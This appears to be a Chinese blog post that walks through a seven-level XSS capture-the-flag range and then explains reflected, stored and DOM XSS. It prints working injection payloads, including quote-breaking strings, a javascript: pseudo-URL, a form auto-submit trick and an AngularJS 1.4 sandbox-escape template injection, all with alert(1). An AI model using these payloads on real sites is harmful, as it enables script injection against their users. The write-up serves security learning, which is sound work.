跳到主要内容
极客日志极客日志面向AI+效率的开发者社区
首页博客我的书AI学习GitHub 精选镜像AI工具UI配色美学关于
搜索内容 / 工具 / 仓库 / 镜像...⌘K搜索
注册
博客列表
JavaScript大前端

Web 安全实战:XSS 漏洞闯关技巧解析

通过七个关卡实例详解 XSS 跨站脚本攻击的绕过技巧。涵盖基础注入、URL 编码绕过、引号闭合、伪协议跳转、表单自动提交及 AngularJS 模板注入沙箱逃逸。同时介绍了反射型、存储型和 DOM 型 XSS 的基本概念与攻击原理。

孤勇者发布于 2026/4/6更新于 2026/10/25108 浏览

一、解题思路

首先启动靶机进入靶场,优先查看使用说明。

这个靶场属于闯关模式,只有通过所有关卡最终才能拿到 flag。

1. 第一关

看到 URL,直接构造 payload <script>alert(1)</script>,即可成功触发。

http://target.com/level1?username=<script>alert(1)</script>

2. 第二关

使用第一关的套路,页面上没有回显,查看源代码发现存在 JS 过滤代码,username 被函数 escape 进行 URL 编码。

<script type="text/javascript"> if(location.search == ""){ location.search = "?username=xss" } var username = 'xss'; document.getElementById('ccc').innerHTML= "Welcome " + escape(username); </script>

需要绕过赋值代码。使用 ' 闭合前边的 ',加上 alert(1);,并在后边使用 ' 闭合。

http://target.com/level2?username=';alert(1);'

3. 第三关

页面无回显,源代码发现输入的查询参数中多了一个 / 和 '。

改造第二关的方法进行绕过:

'';alert(1);'
http://target.com/level3?username='';alert(1);'

4. 第四关

页面死循环,查看源代码分析 JS 逻辑。代码中使用 jumpUrl 作为跳转目标 URL,可以使用 javascript 伪链接执行代码。

jumpUrl=javascript:alert(1)
http://target.com/level4?jumpUrl=javascript:alert(1)

5. 第五关

页面只存在一个查询表单,输入会有报错回显。查看源代码发现定义了两个变量,需要绕过这两个变量。

http://target.com/level5?autosubmit=1&action=JavaScript:alert(1);//

6. 第六关

输入的参数被直接打印在页面上。查看源代码发现引入了 AngularJS。

<script src="https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js"></script>

此处存在 XSS 模板注入(AngularJS 客户端模板注入)。使用 {{7*7}} payload 验证是否存在,页面打印结果说明存在漏洞。

Angular(v1.4.0-v1.4.9) 沙箱逃逸 payload 如下:

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1//');}}

7. 第七关

完成所有关卡挑战。

二、XSS 漏洞介绍

1. XSS 简介

跨站脚本攻击 XSS(Cross Site Scripting),为了不和层叠样式表 (CSS) 的缩写混淆,故将跨站脚本攻击缩写为 XSS。恶意攻击者往 Web 页面里插入恶意 Script 代码,当用户浏览该页面时,嵌入 Web 里面的 Script 代码会被执行,从而达到恶意攻击用户的目的。

2. XSS 分类

(1)反射型 XSS

攻击方式:攻击者通过钓鱼链接等方式诱导用户点击恶意 url,当目标用户点击该 url 时,向对应的服务器发送请求,然后服务器将带有恶意代码的数据发送给目标用户的浏览器,浏览器解析服务器返回的代码,此前攻击者注入的恶意代码就会执行。

(2)存储型 XSS

攻击方式:攻击者在发帖的过程中,将恶意代码连同正常信息一起注入帖子的内容中。攻击者发布的帖子会被服务器存储下来,恶意代码也永久的被放在服务器的后端存储器中。当其他用户浏览这个被注入了恶意脚本的帖子时,恶意脚本会在他们的浏览器中得到执行。

(3)DOM 型 XSS

攻击方式:攻击者诱导用户点击恶意链接 url,然后客户端执行相关攻击代码,发送相关信息 or 相关操作。 DOM 型与服务器没有关系,不需要与服务器进行交互,攻击纯粹发生在客户端。

目录

  1. 一、解题思路
  2. 1. 第一关
  3. 2. 第二关
  4. 3. 第三关
  5. 4. 第四关
  6. 5. 第五关
  7. 6. 第六关
  8. 7. 第七关
  9. 二、XSS 漏洞介绍
  10. 1. XSS 简介
  11. 2. XSS 分类
  12. (1)反射型 XSS
  13. (2)存储型 XSS
  14. (3)DOM 型 XSS

更多推荐文章

查看全部
  • Windows 系统下 VSCode 配置 C/C++ 开发环境实战
  • 宇树 Unitree 机器人 ROS 2 Humble 环境部署指南 (Go2/B2/H1)
  • 前端 API 设计最佳实践:构建优雅的接口规范
  • 美以伊战中 AI 全场景落地细节与成效实战解析
  • OpenClaw 多机器人多 Agent 模式:构建 AI 助手团队
  • Axum Rust Web 框架核心特性与实战指南
  • 5 款免费 AIGC 检测工具推荐及降重技巧
  • Qwen-Image-2512 V2 模型特性与 ComfyUI/WebUI 部署指南
  • 轻小说机翻机器人:日语小说自动翻译工具
  • 基于改进 YOLOv8 的美食图像分割系统实战
  • 5 种主流生成模型对比:VAE、GAN、AR、Flow 与 Diffusion 原理及代码
  • 从工具辅助到 AI 开发:前端新范式
  • AI 产品经理核心指南:角色定义、能力模型与工作流详解
  • AI 工作流实践:构建日报生成工具
  • 树莓派 libwebkit2gtk-4.1-0 安装与 GUI 启动优化
  • OpenClaw 配置飞书机器人完整指南
  • ArduPilot RemoteID Transmitter 实现无人机远程识别合规方案
  • 链表实战:LeetCode Hot 100 经典题目深度解析
  • Windows 下安装 OpenClaw 并接入飞书机器人实战指南
  • Android 面试高频问答与核心知识点解析

相关免费在线工具

  • Keycode 信息

    查找任何按下的键的javascript键代码、代码、位置和修饰符。 在线工具,Keycode 信息在线工具,online

  • Escape 与 Native 编解码

    JavaScript 字符串转义/反转义;Java 风格 \uXXXX(Native2Ascii)编码与解码。 在线工具,Escape 与 Native 编解码在线工具,online

  • JavaScript / HTML 格式化

    使用 Prettier 在浏览器内格式化 JavaScript 或 HTML 片段。 在线工具,JavaScript / HTML 格式化在线工具,online

  • JavaScript 压缩与混淆

    Terser 压缩、变量名混淆,或 javascript-obfuscator 高强度混淆(体积会增大)。 在线工具,JavaScript 压缩与混淆在线工具,online

  • Base64 字符串编码/解码

    将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online

  • Base64 文件转换器

    将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online